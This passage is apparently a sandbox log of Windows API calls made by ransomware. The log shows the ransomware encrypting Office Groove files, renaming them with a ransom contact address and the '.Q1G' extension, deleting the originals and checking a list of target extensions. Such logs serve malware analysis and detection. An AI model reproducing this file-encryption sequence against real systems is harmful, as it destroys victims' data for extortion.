hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.684] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.685] GetLastError () returned 0x0 [0264.685] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x18ead, lpOverlapped=0x0) returned 1 [0264.688] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x18eb0, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x18eb0, lpOverlapped=0x0) returned 1 [0264.691] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.691] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0264.691] SetEndOfFile (hFile=0x1bc) returned 1 [0264.691] CloseHandle (hObject=0x1bc) returned 1 [0264.691] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.691] SetEndOfFile (hFile=0x3a0) returned 1 [0264.694] CloseHandle (hObject=0x3a0) returned 1 [0264.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\status report.fdt")) returned 1 [0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.695] lstrlenW (lpString=".doc") returned 4 [0264.695] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.695] lstrlenW (lpString=".docx") returned 5 [0264.695] lstrcmpiW (lpString1=".docx", lpString2="t.fdt") returned -1 [0264.695] lstrlenW (lpString=".pdf") returned 4 [0264.695] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.695] lstrlenW (lpString=".xls") returned 4 [0264.695] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.695] lstrlenW (lpString=".xlsx") returned 5 [0264.695] lstrcmpiW (lpString1=".xlsx", lpString2="t.fdt") returned -1 [0264.695] lstrlenW (lpString=".ppt") returned 4 [0264.695] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.695] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.695] lstrlenW (lpString=".zip") returned 4 [0264.695] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.695] lstrlenW (lpString=".rar") returned 4 [0264.695] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.695] lstrlenW (lpString=".bz2") returned 4 [0264.695] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.695] lstrlenW (lpString=".7z") returned 3 [0264.696] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".dbf") returned 4 [0264.696] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".1cd") returned 4 [0264.696] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".jpg") returned 4 [0264.696] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".doc") returned 4 [0264.696] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.696] lstrlenW (lpString=".docx") returned 5 [0264.696] lstrcmpiW (lpString1=".docx", lpString2="t.fdt") returned -1 [0264.696] lstrlenW (lpString=".pdf") returned 4 [0264.696] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.696] lstrlenW (lpString=".xls") returned 4 [0264.696] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.696] lstrlenW (lpString=".xlsx") returned 5 [0264.696] lstrcmpiW (lpString1=".xlsx", lpString2="t.fdt") returned -1 [0264.696] lstrlenW (lpString=".ppt") returned 4 [0264.696] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".zip") returned 4 [0264.696] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.696] lstrlenW (lpString=".rar") returned 4 [0264.696] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.696] lstrlenW (lpString=".bz2") returned 4 [0264.696] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.696] lstrlenW (lpString=".7z") returned 3 [0264.696] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".dbf") returned 4 [0264.696] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.696] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.696] lstrlenW (lpString=".1cd") returned 4 [0264.697] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.697] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Status Report.fdt") returned 114 [0264.697] lstrlenW (lpString=".jpg") returned 4 [0264.697] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.697] lstrcmpiW (lpString1=".fdt", lpString2=".Q1G") returned -1 [0264.697] lstrlenW (lpString="Track Issues.fdt") returned 16 [0264.697] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.697] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=124518) returned 1 [0264.697] CloseHandle (hObject=0x3a0) returned 1 [0264.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt")) returned 0x20 [0264.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0264.698] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.698] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0264.698] GetLastError () returned 0x0 [0264.699] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1e666, lpOverlapped=0x0) returned 1 [0264.804] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1e670, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1e670, lpOverlapped=0x0) returned 1 [0264.807] ReadFile (in: hFile=0x3a0, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0264.807] WriteFile (in: hFile=0x1bc, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0264.807] SetEndOfFile (hFile=0x1bc) returned 1 [0264.840] CloseHandle (hObject=0x1bc) returned 1 [0264.841] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.841] SetEndOfFile (hFile=0x3a0) returned 1 [0264.845] CloseHandle (hObject=0x3a0) returned 1 [0264.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0264.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms\\formstemplates\\track issues.fdt")) returned 1 [0264.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.854] lstrlenW (lpString=".doc") returned 4 [0264.854] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.854] lstrlenW (lpString=".docx") returned 5 [0264.854] lstrcmpiW (lpString1=".docx", lpString2="s.fdt") returned -1 [0264.854] lstrlenW (lpString=".pdf") returned 4 [0264.854] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.854] lstrlenW (lpString=".xls") returned 4 [0264.854] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.854] lstrlenW (lpString=".xlsx") returned 5 [0264.854] lstrcmpiW (lpString1=".xlsx", lpString2="s.fdt") returned -1 [0264.854] lstrlenW (lpString=".ppt") returned 4 [0264.854] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.854] lstrlenW (lpString=".zip") returned 4 [0264.854] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.854] lstrlenW (lpString=".rar") returned 4 [0264.854] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.854] lstrlenW (lpString=".bz2") returned 4 [0264.854] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.854] lstrlenW (lpString=".7z") returned 3 [0264.854] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".dbf") returned 4 [0264.855] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".1cd") returned 4 [0264.855] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".jpg") returned 4 [0264.855] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".doc") returned 4 [0264.855] lstrcmpiW (lpString1=".doc", lpString2=".fdt") returned -1 [0264.855] lstrlenW (lpString=".docx") returned 5 [0264.855] lstrcmpiW (lpString1=".docx", lpString2="s.fdt") returned -1 [0264.855] lstrlenW (lpString=".pdf") returned 4 [0264.855] lstrcmpiW (lpString1=".pdf", lpString2=".fdt") returned 1 [0264.855] lstrlenW (lpString=".xls") returned 4 [0264.855] lstrcmpiW (lpString1=".xls", lpString2=".fdt") returned 1 [0264.855] lstrlenW (lpString=".xlsx") returned 5 [0264.855] lstrcmpiW (lpString1=".xlsx", lpString2="s.fdt") returned -1 [0264.855] lstrlenW (lpString=".ppt") returned 4 [0264.855] lstrcmpiW (lpString1=".ppt", lpString2=".fdt") returned 1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".zip") returned 4 [0264.855] lstrcmpiW (lpString1=".zip", lpString2=".fdt") returned 1 [0264.855] lstrlenW (lpString=".rar") returned 4 [0264.855] lstrcmpiW (lpString1=".rar", lpString2=".fdt") returned 1 [0264.855] lstrlenW (lpString=".bz2") returned 4 [0264.855] lstrcmpiW (lpString1=".bz2", lpString2=".fdt") returned -1 [0264.855] lstrlenW (lpString=".7z") returned 3 [0264.855] lstrcmpiW (lpString1=".7z", lpString2="fdt") returned -1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".dbf") returned 4 [0264.855] lstrcmpiW (lpString1=".dbf", lpString2=".fdt") returned -1 [0264.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.855] lstrlenW (lpString=".1cd") returned 4 [0264.856] lstrcmpiW (lpString1=".1cd", lpString2=".fdt") returned -1 [0264.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms\\FormsTemplates\\Track Issues.fdt") returned 113 [0264.856] lstrlenW (lpString=".jpg") returned 4 [0264.856] lstrcmpiW (lpString1=".jpg", lpString2=".fdt") returned 1 [0264.856] lstrcmpiW (lpString1=".ICO", lpString2=".Q1G") returned -1 [0264.856] lstrlenW (lpString="FORM.ICO") returned 8 [0264.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0264.860] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=318) returned 1 [0264.860] CloseHandle (hObject=0x3c4) returned 1 [0264.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico")) returned 0x20 [0264.866] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0264.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0264.883] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.883] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0264.883] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0265.164] GetLastError () returned 0x0 [0265.164] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x13e, lpOverlapped=0x0) returned 1 [0265.165] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x140, lpOverlapped=0x0) returned 1 [0265.166] ReadFile (in: hFile=0x39c, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.166] WriteFile (in: hFile=0x3d8, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0265.166] SetEndOfFile (hFile=0x3d8) returned 1 [0265.166] CloseHandle (hObject=0x3d8) returned 1 [0265.166] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.166] SetEndOfFile (hFile=0x39c) returned 1 [0265.168] CloseHandle (hObject=0x39c) returned 1 [0265.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.324] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\form.ico")) returned 1 [0265.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.330] lstrlenW (lpString=".doc") returned 4 [0265.331] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.331] lstrlenW (lpString=".docx") returned 5 [0265.331] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0265.331] lstrlenW (lpString=".pdf") returned 4 [0265.331] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.331] lstrlenW (lpString=".xls") returned 4 [0265.331] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.331] lstrlenW (lpString=".xlsx") returned 5 [0265.331] lstrcmpiW (lpString1=".xlsx", lpString2="M.ICO") returned -1 [0265.331] lstrlenW (lpString=".ppt") returned 4 [0265.331] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.331] lstrlenW (lpString=".zip") returned 4 [0265.331] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.331] lstrlenW (lpString=".rar") returned 4 [0265.331] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.331] lstrlenW (lpString=".bz2") returned 4 [0265.331] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.331] lstrlenW (lpString=".7z") returned 3 [0265.331] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.331] lstrlenW (lpString=".dbf") returned 4 [0265.331] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.331] lstrlenW (lpString=".1cd") returned 4 [0265.331] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.331] lstrlenW (lpString=".jpg") returned 4 [0265.331] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0265.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.331] lstrlenW (lpString=".doc") returned 4 [0265.331] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0265.331] lstrlenW (lpString=".docx") returned 5 [0265.332] lstrcmpiW (lpString1=".docx", lpString2="M.ICO") returned -1 [0265.332] lstrlenW (lpString=".pdf") returned 4 [0265.332] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0265.332] lstrlenW (lpString=".xls") returned 4 [0265.332] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0265.332] lstrlenW (lpString=".xlsx") returned 5 [0265.332] lstrcmpiW (lpString1=".xlsx", lpString2="M.ICO") returned -1 [0265.332] lstrlenW (lpString=".ppt") returned 4 [0265.332] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0265.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.332] lstrlenW (lpString=".zip") returned 4 [0265.332] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0265.332] lstrlenW (lpString=".rar") returned 4 [0265.332] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0265.332] lstrlenW (lpString=".bz2") returned 4 [0265.332] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0265.332] lstrlenW (lpString=".7z") returned 3 [0265.332] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0265.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.332] lstrlenW (lpString=".dbf") returned 4 [0265.332] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0265.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.332] lstrlenW (lpString=".1cd") returned 4 [0265.332] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0265.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FORM.ICO") returned 91 [0265.332] lstrlenW (lpString=".jpg") returned 4 [0265.332] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 